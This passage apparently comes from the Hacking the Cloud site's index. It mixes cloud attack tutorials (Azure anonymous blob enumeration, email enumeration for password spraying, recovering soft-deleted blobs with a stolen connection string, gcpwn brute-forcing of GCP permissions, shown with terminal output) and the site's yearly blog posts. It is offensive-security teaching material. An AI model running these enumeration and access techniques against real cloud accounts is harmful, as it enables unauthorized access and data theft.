As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

"},{"location":"azure/anonymous-blob-access/#exploiting-anonymous-blob-access","title":"Exploiting Anonymous Blob Access","text":"

Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I\u2019ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it\u2019ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

PS > import-module .\\MicroBurst.psm1\nPS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc\nFound Storage Account - 0xpwnstorageacc.blob.core.windows.net\nFound Container - 0xpwnstorageacc.blob.core.windows.net/public\nPublic File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n

Alternatively adding ?restype=container&comp=list after the container name:

https://<storage_account>.blob.core.windows.net/<container>?restype=container&comp=list\n
Output:
<EnumerationResults ContainerName=\"https://0xpwnstorageacc.blob.core.windows.net/public\">\n    <Blobs>\n        <Blob>\n            <Name>flag.txt</Name>\n            <Url>\nhttps://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n</Url>\n            <Properties>\n                <Last-Modified>Sat, 05 Mar 2022 18:02:14 GMT</Last-Modified>\n                <Etag>0x8D9FED247B7848D</Etag>\n                <Content-Length>34</Content-Length>\n                <Content-Type>text/plain</Content-Type>\n                <Content-Encoding/>\n                <Content-Language/>\n                <Content-MD5>lur6Yvd173x6Zl1HUGvtag==</Content-MD5>\n                <Cache-Control/>\n                <BlobType>BlockBlob</BlobType>\n                <LeaseStatus>unlocked</LeaseStatus>\n            </Properties>\n        </Blob>\n    </Blobs>\n    <NextMarker/>\n</EnumerationResults>\n

"},{"location":"azure/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses","text":"

You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

"},{"location":"azure/soft-deleted-blobs/","title":"Soft Deleted Blobs","text":"
  • Original Research

    0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 \u2013 Soft Deleted Blobs by Andrei Agape

In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

  • A shared access signature (SAS) \u2013 is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
  • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
  • Managed Identities

For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don\u2019t be that developer.

The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day \u201cfeature\u201d.

"},{"location":"azure/soft-deleted-blobs/#exploiting-soft-deleted-blobs","title":"Exploiting Soft Deleted Blobs","text":"

Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

And that we want to use a Connection String

And we paste the value of the conn_str variable that we found in the source code, and connect:

On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

And voila! Right click -> Undelete

"},{"location":"blog/2022_wrap-up/","title":"2022 Wrap-up","text":"

Nick Frichette \u00b7 @frichette_n \u00b7 December 14, 2022

2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

"},{"location":"blog/2022_wrap-up/#numbers","title":"Numbers","text":"

I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

  • 625 stars gained on GitHub
  • 225 commits committed
  • 73,925 visits
  • 124,278 page views
  • 6,408 average monthly visitors (excluding December)
  • 9,763 average monthly visitors in the past quarter!

November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

"},{"location":"blog/2022_wrap-up/#most-popular-articles","title":"Most Popular Articles","text":"

Some more numbers; this time the most popular articles along with page views:

  1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
  2. CI/CDon't - 5,842 page views.
  3. AWS Organizations Defaults - 5,325 page views.
  4. Connection Tracking - 5,209 page views.
  5. Using Stolen IAM Credentials - 5,043 page views.

Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a \"playbook\" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

"},{"location":"blog/2022_wrap-up/#rss-feeds","title":"RSS Feeds!","text":"

If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

"},{"location":"blog/2022_wrap-up/#plagiarism","title":"Plagiarism","text":"

Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

Hacking the Cloud Copy

As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

Feb 2024 Update

It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

"},{"location":"blog/2022_wrap-up/#mastodon","title":"Mastodon","text":"

In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

"},{"location":"blog/2022_wrap-up/#plans-for-the-future","title":"Plans for the Future","text":"

Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call \"playbooks\"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

"},{"location":"blog/2022_wrap-up/#conclusion","title":"Conclusion","text":"

I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

"},{"location":"blog/2023_wrap-up/","title":"2023 Wrap-up","text":"

Nick Frichette \u00b7 @frichette_n \u00b7 December 20, 2023

2023 is coming to a close and it\u2019s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We\u2019ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

"},{"location":"blog/2023_wrap-up/#numbers","title":"Numbers","text":"

Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

  • 457 stars gained on GitHub (1389 total)
  • 128 commits committed
  • 96,031 visits
  • 187,542 pageviews
  • 8,238 average monthly visitors (excluding December)
  • And a partridge in a pear tree

Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

"},{"location":"blog/2023_wrap-up/#most-popular-articles","title":"Most popular articles","text":"

An area that I\u2019m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

  1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
  2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
  3. Abusing Managed Identities - 5,703 pageviews.
  4. Using Stolen IAM Credentials - 5,594 pageviews.
  5. Connection Tracking - 4,869 pageviews.

For the third year running, \u201cSteal EC2 Metadata Credentials via SSRF\u201d is our most popular article, but unlike previous years it\u2019s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we\u2019ll have to check the stats next year.

In second place, and very close to first, we have \u201cAWS Organizations Defaults & Pivoting\u201d. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

In third place, we have the first non-AWS article to ever make a top 5 (and I\u2019m pretty sure a top 10), \u201cAbusing Managed Identities\u201d. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I\u2019m excited to see more interest in other cloud providers. If you aren\u2019t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

"},{"location":"blog/2023_wrap-up/#most-popular-social-networks","title":"Most popular social networks","text":"

If you\u2019re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

  1. LinkedIn - 42% of links
  2. Twitter - 30% of links
  3. GitHub - 13% of links
  4. Reddit - 9% of links
  5. Facebook - 6% of links
  6. Others - <1%

LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

For my Mastodon fans, I wouldn\u2019t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn\u2019t a very easy way to track it. Personally, I\u2019ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

"},{"location":"blog/2023_wrap-up/#thank-you","title":"Thank you!","text":"

Again, I want to say thank you to everyone who has shared the site\u2019s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

"},{"location":"blog/v2_new_look/","title":"Hacking The Cloud v2: New Look","text":"

Nick Frichette \u00b7 @frichette_n \u00b7 December 6, 2021

Whoa! Things look a little different? You're not imagining it.

The old look.

Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

"},{"location":"blog/v2_new_look/#why-the-change","title":"Why the Change?","text":"

When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

"},{"location":"blog/v2_new_look/#why-material-for-mkdocs","title":"Why Material for MkDocs?","text":"

For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, \"does this look okay on mobile?\".

By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

More than that, it's fun and easy to work with.

If you'd like to support Material for MkDocs you can join me in sponsoring the project.

"},{"location":"blog/v2_new_look/#what-does-this-mean-for-you","title":"What Does This Mean for You?","text":"

Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

"},{"location":"gcp/capture_the_flag/gcp-goat/","title":"GCP Goat","text":"

GCP-Goat is the vulnerable application for learning the Google Cloud Security

The Application consists of the following scenarios

  • Attacking Compute Engine
  • Attacking Sql Instance
  • Attacking GKE
  • Attacking GCS
  • Privilege Escalation
  • Privilege Escalation in Compute Engine

Project-Link

"},{"location":"gcp/capture_the_flag/thunder_ctf/","title":"Thunder CTF","text":"

Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a \"secret\" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

The CTF is available at https://thunder-ctf.cloud/.

The GitHub repository for the Thunder CTF also includes:

  • Least Privileges
  • Cloud Audit

Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

"},{"location":"gcp/capture_the_flag/thunder_ctf/#links","title":"Links:","text":"
  • Website
  • GitHub
"},{"location":"gcp/enumeration/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Google Workspace Email Addresses","text":"

You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

"},{"location":"gcp/enumeration/enumerate_all_permissions/","title":"Enumerate Org/Folder/Project Permissions + Individual Resource Permissions","text":"
  • Tools mentioned in this article

    gcpwn

"},{"location":"gcp/enumeration/enumerate_all_permissions/#what-is-testiampermissions","title":"What is testIamPermissions?","text":"

GCP offers a \"testIamPermissions\" API call on most resources that support policies. This includes resources like:

  • Organizations
  • Folders
  • Projects
  • Compute Instances
  • Cloud Functions

In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

For example, for \"Projects\" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just \"cloudfunctions.functions.list\" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

# Input\n{\n  \"permissions\": [\n    compute.instances.addAccessConfig\n    cloudfunctions.functions.list\n    etc\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n     cloudfunctions.functions.list\n  ]\n}\n

However, testIamPermissions does NOT just exist for projects. The compute service allows you to specify permissions at the compute instance level (as opposed to the project level). As such, testIamPermissions actually exists for instances as well shown in the documentation here. You'll notice the API call is pretty much the same as the projects API call in that it takes in a big list of permission and returns the list of permissions the caller has on THAT specific instance; we are just calling testIamPermissions on the instance as opposed to the project. Also note we could not pass in \"cloudfunctions.functions.list\", for example, to the instances testIamPermissions as it will only accept instance-level permissions.

# Input\n{\n  \"permissions\": [\n                'compute.instances.addAccessConfig',\n                'compute.instances.addMaintenancePolicies',\n                'compute.instances.addResourcePolicies',\n                'compute.instances.attachDisk',\n                'compute.instances.createTagBinding',\n                'compute.instances.delete',\n                'compute.instances.deleteAccessConfig',\n                'compute.instances.deleteTagBinding',\n                'compute.instances.detachDisk',\n                'compute.instances.get',\n                'compute.instances.getEffectiveFirewalls',\n                'compute.instances.getGuestAttributes',\n                'compute.instances.getIamPolicy',\n                'compute.instances.getScreenshot',\n                'compute.instances.getSerialPortOutput',\n                'compute.instances.getShieldedInstanceIdentity',\n                'compute.instances.getShieldedVmIdentity',\n                'compute.instances.listEffectiveTags',\n                'compute.instances.listReferrers',\n                'compute.instances.listTagBindings',\n                'compute.instances.osAdminLogin',\n                'compute.instances.osLogin',\n                'compute.instances.removeMaintenancePolicies',\n                'compute.instances.removeResourcePolicies',\n                'compute.instances.reset',\n                'compute.instances.resume',\n                'compute.instances.sendDiagnosticInterrupt',\n                'compute.instances.setDeletionProtection',\n                'compute.instances.setDiskAutoDelete',\n                'compute.instances.setIamPolicy',\n                'compute.instances.setLabels',\n                'compute.instances.setMachineResources',\n                'compute.instances.setMachineType',\n                'compute.instances.setMetadata',\n                'compute.instances.setMinCpuPlatform',\n                'compute.instances.setName',\n                'compute.instances.setScheduling',\n                'compute.instances.setSecurityPolicy',\n                'compute.instances.setServiceAccount',\n                'compute.instances.setShieldedInstanceIntegrityPolicy',\n                'compute.instances.setShieldedVmIntegrityPolicy',\n                'compute.instances.setTags',\n                'compute.instances.simulateMaintenanceEvent',\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n                'compute.instances.suspend',\n                'compute.instances.update',\n                'compute.instances.updateAccessConfig',\n                'compute.instances.updateDisplayDevice',\n                'compute.instances.updateNetworkInterface',\n                'compute.instances.updateSecurity',\n                'compute.instances.updateShieldedInstanceConfig',\n                'compute.instances.updateShieldedVmConfig',\n                'compute.instances.use',\n                'compute.instances.useReadOnly'\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n  ]\n}\n
"},{"location":"gcp/enumeration/enumerate_all_permissions/#gcpwn-introduction","title":"GCPwn Introduction","text":"

gcpwn is a tool that will run testIamPermission on all resources identified if specified by the end user. This means it will cover testIamPermission test cases for organizations, projects, folders, compute instances, cloud functions, cloud storage (buckets), service accounts, etc. For orgs/projects/folders it runs a small list of permissions as the input but you can specify through flags to brute force ~9500 permissions.

To install the tool, follow the installation instructions here. Once installed, review the \"Common Use Cases\" which covers both of the items above.

To see a live demo, you can watch this which covers testIamPermissions briefly.

Note

The tool will also passively record all API permissions you were able to call regardless if testIamPermissions is used, testIamPermissions just will give you more permissions back usually.

"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-permissions-on-individual-resources","title":"Enumerate Permissions on Individual Resources","text":"

Each enumeration module (ex. enum_instances) in the tool allows you to pass in an --iam flag that will call testIamPermissions on the resource while enumerating it. Once run, you can run creds info as shown below and this will list out all the permissions your caller has. Review the POC below.

  1. Show the value for the service account key. Note the same technique can be used for application default credentials (username/password) as well as standalone Oauth2 tokens
  2. Start up the tool via python3 main.py. Load in the service account credentials for the file we just showed.
  3. Now that the credentials are loaded in and the project is set (Note if project is Unknown you can set it with projects set <project_id>), run creds info and note that NO permissions are known for the current user
  4. Run enum_instances and see an instance is found. Run creds info again and note that permission are now populated saying the user has compute.instances.list on the project and compute.instances.get on the instance itself.
  5. Run enum_instances again but now include testIamPermission calls with the --iam flag. Run creds info again and note way more permissions were identified for the specified compute instance as gcpwn ran testIamPermissions during the enumeration phaes and saved the results. Now we can see our caller has not just compute.instances.get but compute.instances.addAccessConfig, compute.instances.addMaintenancePolicies, compute.instances.addResourcePolicies, etc. on instance-20240630-025631
  6. This is hard to read. So you can pass in --csv with creds info to export it to an easy to read Excel file. creds info will highlight \"dangerous\" permissions red and the resulting CSV has a column for True/False for dangerous permissions.
\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cat key.json\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"production-project[TRUNCATED]\",\n  \"private_key_id\": \"2912[TRUNCATED]\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0B[RECACTED]\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"client_id\": \"11[TRUNCATED]\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/newserviceaccount%40production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ python3 main.py \n[*] No workspaces were detected. Please provide the name for your first workspace below.\n> New workspace name: DemoWorkspace\n[*] Workspace 'DemoWorkspace' created.\n\n[TRUNCATED]\n\n[*] Listing existing credentials...\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: service service_user /home/kali/gcpwn/key.json\n[*] Credentials successfuly added\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n(production-project[TRUNCATED]:service_user)> modules run enum_instances\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> modules run enum_instances --iam\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n    - compute.instances.addAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.addMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.addResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.attachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.createTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.delete\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.detachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.getEffectiveFirewalls\n      - instance-20240630-025631 (instances)\n    - compute.instances.getGuestAttributes\n      - instance-20240630-025631 (instances)\n    - compute.instances.getIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.getScreenshot\n      - instance-20240630-025631 (instances)\n    - compute.instances.getSerialPortOutput\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedInstanceIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedVmIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.listEffectiveTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.listReferrers\n      - instance-20240630-025631 (instances)\n    - compute.instances.listTagBindings\n      - instance-20240630-025631 (instances)\n    - compute.instances.osAdminLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.osLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.reset\n      - instance-20240630-025631 (instances)\n    - compute.instances.resume\n      - instance-20240630-025631 (instances)\n    - compute.instances.sendDiagnosticInterrupt\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDeletionProtection\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDiskAutoDelete\n      - instance-20240630-025631 (instances)\n    - compute.instances.setIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setLabels\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineResources\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineType\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMetadata\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMinCpuPlatform\n      - instance-20240630-025631 (instances)\n    - compute.instances.setName\n      - instance-20240630-025631 (instances)\n    - compute.instances.setScheduling\n      - instance-20240630-025631 (instances)\n    - compute.instances.setSecurityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setServiceAccount\n      - instance-20240630-025631 (instances)\n    - 